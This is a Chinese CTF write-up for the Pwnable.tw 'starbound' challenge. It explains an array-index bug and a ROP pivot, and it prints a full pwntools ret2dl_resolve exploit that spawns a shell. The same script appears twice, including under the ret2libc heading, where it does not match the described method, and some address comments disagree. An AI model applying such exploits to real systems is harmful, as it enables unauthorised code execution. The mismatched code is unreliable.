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3 篇文章 0 订阅
订阅专栏

题目：Pwnable.tw-starbound
解法1：ret2libc
1.进入程序进行观察：

这是一个交互小游戏，存在多处用户输入的位置，很有可能存在栈溢出漏洞。

https://blog.csdn.net/CabbageWind
https://blog.csdn.net/cabbagewind/category_9981512.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/CabbageWind/article/details/108004618
https://blog.csdn.net/cabbagewind/category_9981512.html


2.查看文件保护状态：

3.使用IDA中查看文件内容：

这个文件较之平时的其他题目代码量大了很多，存在许多输入位置，但是找了一圈没有可以直接利用的栈溢出漏洞。



4.在反汇编代码中发现一个逻辑漏洞：

在用户输入时，程序只对输入值进行了strtol()处理，并把该值作为数组下标，也就是说对于输入的数字只要不为零都是可以利用
p_choice指针调用到我们想要的指针。另外虽然我们的输入数字之后的内容都会被过滤掉，但是其内容还是可以完整地写入内存
中，这可以作为后续利用的地方。

5.观察p_choice在bss段中的位置：

可以发现在p_choice的低地址方向存在着用户可控的p_playername字段，也就是说只要我们提前控制了p_playername中的内
容，就可以操纵p_choice对任意代码进行调用。

6.分析调用函数时的栈状态：

可以看到进入被调函数时栈顶的参数对于我们来说用处不大，无法直接作为常用的pwn函数如read、gets、puts等的参数。所以
我们需要寻找一段合适的ROP改变这个情况。



7.寻找可利用的ROP：
寻找过程中存在几种不同的思路，一是因为在汇编代码中可以发现read函数的写入地址由ebx决定，所以我们可以寻找能够将
ebx中的地址改为一个更高的地址的gadget，这样就可以直接修改当前栈帧的ebp和返回地址；二是将ebp地址改为一个更低的地
址，原理同一；三是在步骤4中我们发现输入的数字之后的内容是可控的，那我们可以将esp往高地址移动，这样就可以对ROP
的返回地址或后续被调函数的参数进行控制……
根据以上思路使用ROPgadget工具寻找合适的ROP，最终确定一个合适的ROP：

这个ROP符合我们第三种思路，这样我们就可以通过步骤4中的逻辑漏洞控制ROP的返回地址。

8.确认攻击方法并构造payload
此时存在几种攻击思路，一是从ROP返回到puts函数执行ret2libc攻击方式；二是继续寻找能够改变寄存器值的ROP，执行
ret2syscall攻击方式；三是dl_resolve……
我选择了第一种思路，构造payload如下：

from pwn import *

r = process("./starbound")
elf = ELF('./starbound')
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x80487c8
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481dc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x80484fc
resolve_plt = 0x08048940
add_addr=0x08048e48
ppp_ret_addr=0x80491ba
start=0x08057D90+0x10       #0x08057da0
align=0x8-(start-20-rel_plt_addr)%0x8
start+=align                #0x8057da4

fake_rel_plt_addr = start                                       #0x8057da4
fake_dynsym_addr = fake_rel_plt_addr + 0x8                      #0x8057dac
fake_dynstr_addr = fake_dynsym_addr + 0x10                      #0x8057dac
bin_sh_addr = fake_dynstr_addr + 0x7                            #0x8057da3
n = fake_rel_plt_addr - rel_plt_addr                            #0xf5dc
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7   #0xfbd07
str_offset = fake_dynstr_addr - dynstr_addr                     #0xf8d0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"

r.recvuntil('> ')
r.sendline('6')
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(p32(add_addr))
r.recvuntil('> ')

payload = '-33\0aaaa'
payload += p32(elf.plt['read'])+p32(ppp_ret_addr)+p32(0)+p32(start)+p32(150)
payload += p32(resolve_plt) + p32(n) +'abcd' + p32(bin_sh_addr)
r.sendline(payload)
payload2 = fake_rel_plt + fake_dynsym + fake_dynstr

r.sendline(payload2)
r.interactive()



9.pwn!

踩坑总结：

1. 这个程序需要一个额外的加密库libcrypto.so.4，如果在外网的话直接可以apt-get安装，而内网中ubuntu环境无法联网，所
以需要自行安装。

　　通过网上查找可知这个包是包含在libssl1.0.0.0中，可以在launchpad.net或者pkgs.org找到对应版本的deb文件直接安
装。

2. 在使用pwntools中的sendlineafter()方法时，参数中的’> ’一开始少打了一个空格，就导致了后续的recv()方法接收一个空格
而无法正确使用u32进行unpack，提示错误u32 unpack requires a string argument of length 4。
在>后加一个空格！

3. 使用LibcSearcher库时一直无法找到system函数的位置或者直接无法泄露出got表位置，显示No match或者error。
换一个低版本的动态库或多尝试通过其他函数来泄露，没有找到特别有效的方法，比如我试了很多次只有通过puts能泄露
成功，其他诸如__libc_start_main或者read之类的都不行。

4. 在获取到libc函数库的地址后，因为此时我们已经改变了栈顶指针的位置，如果不处理的话我们下一次read输入的位置会在
esp之上，如下图所示，这会造成段错误，所以需要谨慎选择puts之后的返回地址。



这里方法肯定有很多，不过懒惰的我选择了最直接的让程序从头开始，这样就会构造一个全新的栈帧，但是需要重新去控制

playername中的内容。
 
解法2：dl_resolve
9.接着解法1的步骤8，选择dl_resolve攻击方式进行解题。构造栈如下：

10.根据栈结构写POC并成功拿到shell



from pwn import *

r = process("./starbound")
elf = ELF('./starbound')
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x80487c8
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481dc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x80484fc
resolve_plt = 0x08048940
add_addr=0x08048e48
ppp_ret_addr=0x80491ba
start=0x08057D90+0x10       #0x08057da0
align=0x8-(start-20-rel_plt_addr)%0x8
start+=align                #0x8057da4

fake_rel_plt_addr = start                                       #0x8057da4
fake_dynsym_addr = fake_rel_plt_addr + 0x8                      #0x8057dac
fake_dynstr_addr = fake_dynsym_addr + 0x10                      #0x8057dac
bin_sh_addr = fake_dynstr_addr + 0x7                            #0x8057da3
n = fake_rel_plt_addr - rel_plt_addr                            #0xf5dc
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7   #0xfbd07
str_offset = fake_dynstr_addr - dynstr_addr                     #0xf8d0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"

r.recvuntil('> ')
r.sendline('6')
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(p32(add_addr))
r.recvuntil('> ')

payload = '-33\0aaaa'
payload += p32(elf.plt['read'])+p32(ppp_ret_addr)+p32(0)+p32(start)+p32(150)
payload += p32(resolve_plt) + p32(n) +'abcd' + p32(bin_sh_addr)
r.sendline(payload)
payload2 = fake_rel_plt + fake_dynsym + fake_dynstr

r.sendline(payload2)
r.interactive()

踩坑总结：

1. 遇到的唯一坑就是start地址选择，不知道为什么会触发到64位中那个要设置link_map+0x1c8=0的问题，也就是
versym+2*r_sym的地址不可访问，直接报段错误：



用gdb调试到发生错误的位置附近， eax是.dynamic表的地址，所以问题出在edx上。一步步调试可以看到edx的值是怎么来的。

在0xf7f586c8中发现edx是由esi决定，而esi是我们伪造的r_info值，所以只能是先把[edx+esi*2]附近的地址打印出来找到合适的
值，然后再回去控制r_info和start的值。（而且不清楚合适的值是不是只能为0，我经过计算找了另一个值确实通过了图1中报段
错误的那个指令，但是在后面又会报新的错误）

所以这道题说明32位的程序也是有关于versym+2*r_sym的问题，只不过在64位中更常见，所以遇到错误的时候还是要注意一
下，在选择start地址时除了字节对其之外还要考虑很多东西。
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